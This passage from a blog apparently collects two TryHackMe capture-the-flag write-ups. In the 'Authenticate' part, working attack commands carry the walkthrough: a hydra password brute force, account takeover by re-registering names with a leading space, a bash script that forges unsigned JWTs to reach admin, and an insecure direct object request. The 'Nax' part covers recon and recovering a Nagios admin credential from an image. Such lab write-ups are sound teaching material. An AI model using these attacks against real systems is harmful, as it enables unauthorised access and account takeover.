  &lt;div class=&quot;form-group&quot;&gt;
    &lt;input type=&quot;password&quot; style=&quot;font-size: 100%&quot; placeholder=&quot;Password&quot; class=&quot;form-control&quot; name=&quot;password&quot;&gt;
  &lt;/div&gt;
  &lt;button formaction=&quot;/login&quot; type=&quot;submit&quot; class=&quot;btn btn-success&quot;&gt;Sign in&lt;/button&gt;
  &lt;a href=&quot;/register&quot;&gt;&lt;button type=&quot;button&quot; class=&quot;btn btn-success&quot;&gt;Register&lt;/button&gt;&lt;/a&gt;
&lt;/form&gt;</code></pre><figcaption>The relevant portion of the HTML</figcaption></figure><p>From this you can see that we&apos;re sending a <code>POST</code> request to <code>/login</code> with the parameters <code>user</code> and <code>password</code>.</p><p>The other piece of information you need for <code>hydra</code> to function is what the error message shows when you send incorrect credentials. For this you can send an curl <code>POST</code> request with dummy information:</p><figure class="kg-card kg-code-card"><pre><code class="language-shell">curl http://10.10.146.29:8888/login --data &apos;user=jack&amp;password=wrong&apos;

&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 3.2 Final//EN&quot;&gt;
&lt;title&gt;Redirecting...&lt;/title&gt;
&lt;h1&gt;Redirecting...&lt;/h1&gt;
&lt;p&gt;You should be redirected automatically to target URL: &lt;a href=&quot;/error/invalid_credentials&quot;&gt;/error/invalid_credentials&lt;/a&gt;.  If not click the link.</code></pre><figcaption>Sending an incorrect login request</figcaption></figure><p>As you can see, the resultant text contains the word <code>invalid</code>. This should probably be sufficient to craft a hydra command to attach the form.</p><p>For this I am using the <code>rockyou.txt</code> password list. This is generally my go-to list and is easily located on the internet. Other password lists may also do the trick.</p><p>The command I ended up creating looked like this:</p><figure class="kg-card kg-code-card"><pre><code>hydra -l jack -P ../rockyou.txt &quot;http-post-form://10.10.146.29:8888/login:user=^USER^&amp;password=^PASS^:Invalid&quot;</code></pre><figcaption>Command line used to initiate the hydra attack</figcaption></figure><p>The results from running this will look something like this:</p><figure class="kg-card kg-code-card"><pre><code>Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-25 21:37:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.10.146.29:8888/login:user=^USER^&amp;password=^PASS^:Invalid
[8888][http-post-form] host: 10.10.146.29   login: jack   password: &lt;redacted&gt;
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-25 21:37:27
</code></pre><figcaption>Hydra results</figcaption></figure><p>As you can see, hydra found the correct password for <code>jack</code> in around five seconds. I suspect that the password was quite high up in <code>rockyou.txt</code>. Had it not been, the attack could have taken much longer.</p><p>Using the password you can now log in as <code>jack</code> and grab the first flag:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-19.png" class="kg-image" alt="THM - Authenticate (alternative approach)" loading="lazy"><figcaption>Jack&apos;s flag</figcaption></figure><p>The process can then be repeated for <code>mike</code>.</p><h3 id="task-3-re-registration">Task 3 - Re-registration</h3><p>This task consists of abusing the sanitisation the website is applying to inbound data and asks you to hijack the accounts for <code>darren</code> and <code>arthur</code>.</p><p>This task can also be completed entirely from the command line using just <code>curl</code>. This may seem like a waste of effort, but I feel that knowing command line tools is very useful as you could end up needing to do something like this when the only access to a machine you have is through a shell with no GUI available.</p><p>First of all, we need to locate where the registration page is by looking at the HTML you pull back using curl:</p><figure class="kg-card kg-code-card"><pre><code class="language-HTML">&lt;a href=&quot;/register&quot;&gt;&lt;button type=&quot;button&quot; class=&quot;btn btn-success&quot;&gt;Register&lt;/button&gt;&lt;/a&gt;</code></pre><figcaption>Registration endpoint</figcaption></figure><p><code>curl</code>ing this URL shows us the form which we need to populate in order to complete a registration:</p><figure class="kg-card kg-code-card"><pre><code>&lt;form role=&quot;form&quot; action=&quot;/register/submit&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
  &lt;div class=&quot;task-box col-md-6 col-md-offset-3&quot;&gt;
    &lt;h1&gt;Register&lt;/h1&gt;
    &lt;br/&gt;
    &lt;br /&gt;
    &lt;label&gt;Username:&lt;/label&gt;
    &lt;input type=&quot;text&quot; class=&quot;form-control&quot; style=&quot;font-size: 100%&quot; name=&quot;user&quot; required=&quot;required&quot;&gt;
    &lt;br /&gt;
    &lt;label&gt;Email:&lt;/label&gt;
    &lt;input type=&quot;email&quot; class=&quot;form-control&quot; style=&quot;font-size: 100%&quot; name=&quot;email&quot; required=&quot;required&quot;&gt;
    &lt;br /&gt;
    &lt;label&gt;Password:&lt;/label&gt;
    &lt;input type=&quot;password&quot; class=&quot;form-control&quot; style=&quot;font-size: 100%&quot; name=&quot;password&quot; required=&quot;required&quot;&gt;
    &lt;br /&gt;
    &lt;input type=&quot;submit&quot; name=&quot;submit&quot; style=&quot;font-size: 100%&quot; class=&quot;lf--submit&quot; id=&quot;submit&quot; value=&quot;Register&quot; class=&quot;btn btn-info btn-block&quot;&gt;
  &lt;/div&gt;
&lt;/form&gt;</code></pre><figcaption>HTML for registration form</figcaption></figure><p>If we try to register as <code>darren</code> we find that we&apos;re unable to as <code>darren</code> is already registered:</p><figure class="kg-card kg-code-card"><pre><code>curl http://10.10.146.29:8888/register/submit --data &quot;user=darren&amp;email=fake&amp;password=1234&quot;

&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 3.2 Final//EN&quot;&gt;
&lt;title&gt;Redirecting...&lt;/title&gt;
&lt;h1&gt;Redirecting...&lt;/h1&gt;
&lt;p&gt;You should be redirected automatically to target URL: &lt;a href=&quot;/error/already_registered&quot;&gt;/error/already_registered&lt;/a&gt;.  If not click the link.</code></pre><figcaption>Failing to register as a user who already exists</figcaption></figure><p>As suggested by the task text, we should be able to register as <code> darren</code> (note the leading space). In curl, we should probably encode the space to <code>%20</code>:</p><figure class="kg-card kg-code-card"><pre><code>curl http://10.10.146.29:8888/register/submit --data &quot;user=%20darren&amp;email=fake&amp;password=1234&quot; -c cookies-b cookies

&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 3.2 Final//EN&quot;&gt;
&lt;title&gt;Redirecting...&lt;/title&gt;
&lt;h1&gt;Redirecting...&lt;/h1&gt;
&lt;p&gt;You should be redirected automatically to target URL: &lt;a href=&quot;/&quot;&gt;/&lt;/a&gt;.  If not click the link.</code></pre><figcaption>Registering our fake &apos;darren&apos;</figcaption></figure><p>We include the <code>-b</code> and <code>-c</code> parameters to curl as we want to capture the cookies which are set when the user is logged in so we can reuse them when we try to reach the <code>/logged</code> endpoint:</p><figure class="kg-card kg-code-card"><pre><code>curl http://10.10.146.29:8888/logged -v -c cookies -b cookies</code></pre><figcaption>Retrieving darren&apos;s flag</figcaption></figure><p>The process can then be repeated for <code>arthur</code>.</p><h3 id="task-4-json-web-token">Task 4 - JSON Web Token</h3><p>For this task we are encouraged to abuse some properties of JWT (JSON Web Token) in order to escalate the privileges which the web application thinks we&apos;re entitled to. I won&apos;t explain the concepts behind how JWT can be broken as the task text does a great job of doing this.</p><p>What I will do, however, is to show how this can be done from the command line rather than using BurpSuite.</p><p>To start with, we&apos;ll find the login form on the server running on port 5000 so we know where we&apos;re attacking:</p><figure class="kg-card kg-code-card"><pre><code>curl -v http://10.10.146.29:5000</code></pre><figcaption>curl command to locate the endpoint we need to send login details to</figcaption></figure><p>There&apos;s a slightly different setup to this website as it uses XHR (XMLHttpRequest) to send the data rather than redirecting the browser to a different location. Still, it&apos;s easy enough to see what the authentication endpoint is so that we can send credentials to it:</p><figure class="kg-card kg-code-card"><pre><code class="language-javascript">var host = window.location.hostname;
xmlhttp.open(&quot;POST&quot;, &quot;http://&quot;+host+&quot;:5000/auth&quot;);
xmlhttp.setRequestHeader(&quot;Content-Type&quot;, &quot;application/json&quot;);

usr = document.getElementById(&quot;username&quot;).value;
pwd = document.getElementById(&quot;password&quot;).value;
foo = xmlhttp.send(JSON.stringify({username:usr, password:pwd}));</code></pre><figcaption>Details for the auth endpoint</figcaption></figure><p>We can see that the javascript takes the hostname from the window location and forms a url of <code>http://&lt;hostname&gt;:5000/auth</code> so we know the endpoint is simply what we used to access this information with <code>auth</code> tacked on the end.</p><p>We can also see that it&apos;s sending the payload as JSON and the names of the fields within the JSON object which it&apos;s expecting.</p><p>As we have been given the username and password of <code>user:user</code>, let&apos;s use that in our <code>curl</code> command:</p><figure class="kg-card kg-code-card"><pre><code>curl -v http://10.10.146.29:5000/auth --data &apos;{&quot;username&quot;: &quot;user&quot;, &quot;password&quot;: &quot;user&quot;}&apos; -H &quot;Content-Type: application/json&quot;</code></pre><figcaption>Authenticating using curl</figcaption></figure><p>The response from the server for this is a JSON object containing the <code>access_token</code> which is the JWT token we&apos;re looking for:</p><figure class="kg-card kg-code-card"><pre><code>{&quot;access_token&quot;:&quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1OTA0NDM2MTUsImlhdCI6MTU5MDQ0MzMxNSwibmJmIjoxNTkwNDQzMzE1LCJpZGVudGl0eSI6MX0.QIDzeAnzMgkR09bCnMseqDbSGkmw6jCMIw42JgoABxw&quot;}</code></pre><figcaption>The returned access token</figcaption></figure><p>We can see from our initial request that there is another method called <code>getAdmin()</code> which makes a <code>GET</code> call to <code>/protected</code>. Judging by how it handles the response, it should pop up and alert and set the paragraph <code>&lt;p&gt;</code> element with the id of <code>welcome</code> to have the response back from this endpoint set as it&apos;s <code>innerHTML</code>.</p><p>As such, we should be able to call this endpoint with the JWT we just got back and see what it returns:</p><pre><code>curl http://10.10.146.29:5000/protected -H &quot;Content-Type: application/json&quot; -H &quot;Authorization: JWT eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1OTA0NDQ1NzgsImlhdCI6MTU5MDQ0NDI3OCwibmJmIjoxNTkwNDQ0Mjc4LCJpZGVudGl0eSI6MX0.8OrkqbJycXbTMW61yyAgO9fou5KYdwDraD56IDQdNwU&quot;

Welcome user: guest</code></pre><p>So we now know that we can call the <code>protected</code> endpoint with the valid JWT which it returned to us.</p><p>Let&apos;s strip apart the JWT to see what it contains:</p><figure class="kg-card kg-code-card"><pre><code>echo -n &quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9&quot; | base64 -d
{&quot;typ&quot;:&quot;JWT&quot;,&quot;alg&quot;:&quot;HS256&quot;}

echo -n &quot;eyJleHAiOjE1OTA0NDQ1NzgsImlhdCI6MTU5MDQ0NDI3OCwibmJmIjoxNTkwNDQ0Mjc4LCJpZGVudGl0eSI6MX0&quot; | base64 -d
{&quot;exp&quot;:1590444578,&quot;iat&quot;:1590444278,&quot;nbf&quot;:1590444278,&quot;identity&quot;:1}</code></pre><figcaption>base64 decoding of the first two elements of the JWT</figcaption></figure><p>This is pretty standard JWT as described in the task text. One thing I do notice on it is that the expiry time is relatively short, so the token we start with may not be valid if we spend too much time manipulating it.</p><p>For anyone who&apos;s interested, the additional parts of the JWT payload are:</p><figure class="kg-card kg-code-card"><pre><code>exp - expiry time - The time the token expires
iat - issued at   - The time the token was generated
nbf - not before  - The time the token is valid from</code></pre><figcaption>JWT fields</figcaption></figure><p>To make my life relatively simple, I&apos;m going to script fetching the valid JWT, manipulating it into using a different identity provided as an argument to the script and then calling the <code>/protected</code> endpoint to retrieve the result. The script looks something like this:</p><figure class="kg-card kg-code-card"><pre><code class="language-bash">#!/bin/bash

header=$(echo &apos;{&quot;typ&quot;:&quot;JWT&quot;,&quot;alg&quot;:&quot;NONE&quot;}&apos; | base64url | sed &apos;s/=*$//&apos;)
payload=$(curl -s http://10.10.146.29:5000/auth --data &apos;{&quot;username&quot;: &quot;user&quot;, &quot;password&quot;: &quot;user&quot;}&apos; -H &quot;Content-Type: application/json&quot; | \
     sed &apos;s/.*:&quot;.*\.\(.*\)\..*$/\1/&apos; | base64 -d 2&gt;/dev/null | sed &quot;s/\:1\}/\:$1\}/&quot; | base64url | sed &apos;s/=*$//&apos;)
jwt=&quot;${header}.${payload}.&quot;

curl -s http://10.10.146.29:5000/protected -H &quot;Content-Type: application/json&quot; -H &quot;Authorization: JWT ${jwt}&quot;
echo
</code></pre><figcaption>bash script to manipulate the token</figcaption></figure><p>This can the be called like so:</p><pre><code>$ ./test.sh 1
Welcome user: guest

$ ./test.sh 2
Welcome user2: guest2

$ ./test.sh 3
&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 3.2 Final//EN&quot;&gt;
&lt;title&gt;500 Internal Server Error&lt;/title&gt;
&lt;h1&gt;Internal Server Error&lt;/h1&gt;
&lt;p&gt;The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.&lt;/p&gt;

$ ./test.sh 0
Welcome admin: 92&lt;redacted&gt;</code></pre><p>Which has given us the flag we need to complete Task 4</p><h3 id="task-5-no-auth">Task 5 - No Auth</h3><p>Again, the task text is pretty self explanatory. Again, I will complete the challenge using only <code>curl</code>.</p><p>First of all, we&apos;ll start by grabbing the form info we need from the website by issuing a simple <code>curl</code> command:</p><figure class="kg-card kg-code-card"><pre><code>curl http://10.10.146.29:7777</code></pre><figcaption>Having a look at how the form works</figcaption></figure><figure class="kg-card kg-code-card"><pre><code class="language-HTML">&lt;form method=&quot;post&quot; action=&quot;/signup&quot; enctype=&quot;multipart/form-data&quot;&gt;
  &lt;div class=&quot;form-group&quot;&gt;
    &lt;label&gt;Create new user:&lt;/label&gt;&lt;/br&gt;
    Username:  &lt;input type=&quot;text&quot; name=&quot;username&quot;&gt;&lt;br&gt;
    Password:  &lt;input type=&quot;password&quot; name=&quot;password&quot;&gt;&lt;/br&gt;
  &lt;/div&gt;
  &lt;button class=&quot;btn btn-primary&quot; type=&quot;submit&quot;&gt;Create user&lt;/button&gt;
&lt;/form&gt;</code></pre><figcaption>The form as extracted from the HTML</figcaption></figure><p>We&apos;ll send an arbitrary username and password to it:</p><figure class="kg-card kg-code-card"><pre><code>curl -c cookies -b cookies http://10.10.146.29:7777/signup --data &quot;username=curl&amp;password=rocks&quot;</code></pre><figcaption>curl request to create a user</figcaption></figure><p>From this we get back an <code>Account created Successfully</code> message along with another form for accessing our data:</p><figure class="kg-card kg-code-card"><pre><code>&lt;form method=&quot;get&quot; action=&quot;/users/1&quot; enctype=&quot;multipart/form-data&quot;&gt;
  &lt;div class=&quot;form-group&quot;&gt;
    &lt;h2&gt;Hello curl!:&lt;/h2&gt;&lt;br&gt;
  &lt;/div&gt;
  &lt;button class=&quot;btn btn-primary&quot; type=&quot;submit&quot;&gt;Visit private space&lt;/button&gt;
&lt;/form&gt;</code></pre><figcaption>Form to get my data</figcaption></figure><p>It doesn&apos;t even look like the web application sets any cookies, so we should be able to just request any old user:</p><figure class="kg-card kg-code-card"><pre><code>curl http://10.10.146.29:7777/users/0</code></pre><figcaption>grabbing user 0&apos;s details</figcaption></figure><p>With the server responding:</p><pre><code>&lt;form method=&quot;post&quot; action=&quot;/home&quot; enctype=&quot;multipart/form-data&quot;&gt;
  &lt;div class=&quot;form-group&quot;&gt;
  &lt;p&gt;&lt;h3&gt;Your password: &lt;/h3&gt;ab&lt;redacted&gt;&lt;/p&gt;
  &lt;p&gt;&lt;h3&gt;Your secret data: &lt;/h3&gt;Here&amp;#39;s your flag: 72&lt;redacted&gt;&lt;/p&gt;	
  &lt;/div&gt;
&lt;/div&gt;	
&lt;/form&gt;
</code></pre><p>With this we now have all the data we need to complete the room.</p><h3 id="summary">Summary</h3><p>I appreciate that I approached this in a completely different way than the creator intended. I think sometimes it&apos;s useful to push yourself to see if you can do something different and I had to put a reasonable amount of effort into working out what I was doing with this.</p><p>Ultimately, with the different approach and writing this blog post at the same time, the room probably took me 4-6 times as long to complete as it should have had I approached it as intended. Still, I learned a few things along the way, which is what I&apos;m here for.</p><p>Thanks for reading - hopefully I&apos;ll be back with another room write-up at some point soon.</p>]]></content:encoded></item><item><title><![CDATA[THM - Nax]]></title><description><![CDATA[Ceisc's write up for the Nax room on TryHackMe.]]></description><link>https://ceisc.co.uk/thm-nax/</link><guid isPermaLink="false">5ecc0c644f11db03cd1b8b47</guid><category><![CDATA[thm-writeup]]></category><category><![CDATA[hacking]]></category><category><![CDATA[learning-career]]></category><dc:creator><![CDATA[Ceisc]]></dc:creator><pubDate>Mon, 25 May 2020 19:57:18 GMT</pubDate><media:content url="https://ceisc.co.uk/content/images/2020/05/irvan-smith-5eBW5GomfhY-unsplash.jpg" medium="image"/><content:encoded><![CDATA[<figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/Screenshot-from-2020-05-25-19-22-28-1.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>The room card as displayed in TryHackMe</figcaption></figure><img src="https://ceisc.co.uk/content/images/2020/05/irvan-smith-5eBW5GomfhY-unsplash.jpg" alt="THM - Nax"><p>A few days ago I decided to try the Nax room from <a href="https://tryhackme.com/?ref=ceisc.co.uk">TryHackMe</a>. It&apos;s one of the harder rooms I&apos;ve tried on THM and, so far, probably the one I&apos;ve enjoyed the most.</p><p>The room tags give you the information that it&apos;s going to use an RCE (remote code execution), that the vulnerability is <code>CVE-2019-15949</code> and that the system is running Nagios. (The logo used for the room is leading N from Nagios&apos; logo as a further hint.)</p><h3 id="starting-off">Starting off</h3><p>Like with most of the machines presented by THM (aside from the guided rooms, which tell you what you should be running) I generally get started with a quick <code>nmap</code> command to see whether the machine has any common ports open and what service versions are running. The command I ran was <code>nmap -sV -sC -T4 -oN nax.nmap 10.10.80.170</code>. This yielded the following information:</p><pre><code>Nmap scan report for 10.10.80.170
Host is up (0.031s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 62:1d:d9:88:01:77:0a:52:bb:59:f9:da:c1:a6:e3:cd (RSA)
|   256 af:67:7d:24:e5:95:f4:44:72:d1:0c:39:8d:cc:21:15 (ECDSA)
|_  256 20:28:15:ef:13:c8:9f:b8:a7:0f:50:e6:2f:3b:1e:57 (ED25519)
25/tcp  open  smtp     Postfix smtpd
|_smtp-commands: ubuntu.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-03-23T23:42:04
|_Not valid after:  2030-03-21T23:42:04
|_ssl-date: TLS randomness does not represent time
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn&apos;t have a title (text/html).
389/tcp open  ldap     OpenLDAP 2.2.X - 2.3.X
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn&apos;t have a title (text/html).
| ssl-cert: Subject: commonName=192.168.85.153/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US
| Not valid before: 2020-03-24T00:14:58
|_Not valid after:  2030-03-22T00:14:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: Host:  ubuntu.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.32 seconds</code></pre><p>As you can see, the server is running (among other things) a web server open on ports 80 and 443. This is pretty much what I expected to see as I was expecting we&apos;d find a Nagios instance running and this was most likely to be available over these protocols.</p><h3 id="looking-around-the-web-site">Looking around the web site</h3><p>At this point, I fired up my trusty browser (I use Chrome, but it probably doesn&apos;t matter what browser you use for this challenge) and pointed it to the HTTP port of the server. The initial page we got was:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-1.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Initial view of the web site</figcaption></figure><p>As I was expecting to have seen a Nagios instance this was a little unexpected, so I threw <code>/nagios</code> on the end of the URL. This resulted in a login dialog showing up:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-3.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Login prompt at /nagios</figcaption></figure><p>The reason this is looking at localhost:8888 rather than <code>10.10.80.170:80</code> is because I&apos;m accessing this through SSH port forwarding rather than direct.</p><p>That aside, it looks like /nagios is a viable location and has some form of security in place preventing any old Tom, Dick or Harry accessing it.</p><p>Taking a look at the questions on THM, the first thing it asks you to find is the name of the hidden file:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-4.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Question #1</figcaption></figure><p>This would suggest to me that we&apos;re looking for a file somewhere on the server. Initially I fired up GoBuster to trawl through a large list of possible files/directories which may exist on the server.</p><p>Whilst it was doing this, I took a quick look at the opening page again. At the bottom it mentions elements and had a list of what looked to be elements from the periodic table:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-5.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>List of elements?</figcaption></figure><p>Given that <a href="https://ceisc.co.uk/GoBuster">GoBuster</a> was likely to take some time, I thought I&apos;d look up the names and atomic numbers of the elements given:</p><figure class="kg-card kg-code-card"><pre><code>Ag - Silver - 47
Hg - Mercury - 80
Ta - Tantalum - 73
Sb - Antimony - 51
Po - Polonium - 84
Pd - Palladium - 46
Hg - Mercury - 80
Pt - Platinum - 78
Lr - Lawrencium - 103</code></pre><figcaption>List of the element symbols and corresponding names and atomic numbers</figcaption></figure><p>These numbers looked suspiciously like they could be the decimal representation of something useful, and the number of elements listed was the same as the length of the mask given in the answer box for the question. </p><p>I quickly opened up an interactive Python session to turn these values into a string, converting from their decimal values to the ASCII character they represent and joining it into a string:</p><figure class="kg-card kg-code-card"><pre><code class="language-Python">&gt;&gt;&gt; arr = [47, 80, 73, 51, 84, 46, 80, 78, 103]
&gt;&gt;&gt; &quot;&quot;.join(chr(i) for i in arr)
&apos;/PI3T.PNg&apos;</code></pre><figcaption>Converting the decimal values to a string</figcaption></figure><p>Sticking this in the browser got me the following image:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/PI3T.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Image retrieved from /PI3T.PNg</figcaption></figure><p>It wasn&apos;t immediately obvious what to do with this image, but I put the name of the file into the answer box for Question #1 and it showed as being correct.</p><p>On to Question 2:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-6.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Question #2</figcaption></figure><p>It seemed like the obvious thing to do at this stage was to fire up ExifTool to see if there&apos;s anything useful in the metadata of the file. The command I ran was <code>exiftool PI3T.PNg</code> and was rewarded with the following:</p><pre><code>ExifTool Version Number         : 11.88
File Name                       : PI3T.PNg
Directory                       : .
File Size                       : 959 kB
File Modification Date/Time     : 2020:03:25 04:00:15+00:00
File Access Date/Time           : 2020:05:22 08:20:43+01:00
File Inode Change Date/Time     : 2020:05:22 08:20:41+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 990
Image Height                    : 990
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 768 bytes, use -b option to extract)
Transparency                    : (Binary data 256 bytes, use -b option to extract)
Artist                          : Piet Mondrian
Copyright                       : Piet Mondrian, tryhackme 2020
Image Size                      : 990x990
Megapixels                      : 0.980</code></pre><p>As you can see, the Artist is listed as <code>Piet Mondrian</code>. This turns out to be the correct answer for question 2.</p><p>The logical step from this point would be to move on to Question 3, so that&apos;s exactly what I did:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-7.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Question #3</figcaption></figure><p>Question 4 looked somewhat related as well:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-8.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Question #4</figcaption></figure><p>This suggested to me that the answers we expected to be found within the image file.</p><p>I initially ran <code>stegoveritas</code> against the file as it&apos;s proven in the past that it&apos;s quite helpful for finding steganographic data inside of file. In this instance it didn&apos;t seem to work.</p><p>On searching Google for <code>piet mondrian &quot;cryptography&quot;</code> I discovered a <a href="https://www.reddit.com/r/codes/comments/f4q0iv/visual_cryptography_task/?ref=ceisc.co.uk">reddit post</a> where a similar challenge had been encountered and within the comments found a link to <a href="https://www.dangermouse.net/esoteric/piet.html?ref=ceisc.co.uk">dangermouse.net/esoteric/piet.html</a>. This page describes programming language using colours in an image as a form of programming language. This site would explain the <code>DM&apos;s Esoteric Programming</code> tag in the room card.</p><p>Further searching revealed that someone had gone to the trouble of creating a compiler for this language called repiet.</p><p>I used <code>git</code> to clone the source and ran through the setup for <code>repiet</code> which installed a python module called <code>repiet</code>. I then ran this module against the image to produce a python output file. The exact command I ran was <code>python3 -m repiet PI3T.PNg --codel_size 10</code>. My initial run hadn&apos;t included the <code>codel_size</code> parameter and the output from the code didn&apos;t seem to work. I thought I&apos;d try the param and just randomly set it to 10. This worked and the python code, when run, produced the following output:</p><figure class="kg-card kg-code-card"><pre><code>nagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdYnagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdY</code></pre><figcaption>Output from the generated Python</figcaption></figure><p>It actually generated significantly more than this - I think it was looping and just continued to dump the same contents to my terminal screen until I hit <code>Ctrl-C</code> to stop it.</p><p>It may have done differently had I chosen a different <code>codel_size</code>, but I didn&apos;t feel like trying any other sizes as I already had what I needed:</p><figure class="kg-card kg-code-card"><pre><code>nagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdY</code></pre><figcaption>Relevant part of the output</figcaption></figure><p>This looked suspiciously like a username and password. I entered <code>nagiosadmin</code> for Question 3 and <code>%n3p3UQ&amp;9BjLp4$7uhWdY</code> for Question 4.</p><p>Both of these were accepted as being correct but when I went to log in to the Nagios instance with them I kept getting told the credentials were invalid. It turns out that the <code>%</code> I had entered at the beginning of the password was a separator and not part of the password, but the THM system had accepted it as the answer.</p><h3 id="breaking-in">Breaking In</h3><p>Moving swiftly on to Question 5, we&apos;re asked what the CVE number was for the vulnerability we needed to exploit. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-9.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Question #5</figcaption></figure><p>I had a look on <a href="https://www.exploit-db.com/?ref=ceisc.co.uk">exploit-db</a> to see what I could find for Nagios which gave us an authenticated attack vector (I hadn&apos;t noticed that the CVE number was listed in the room card until I started on this write-up). The top answer looked promising:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-10.png" 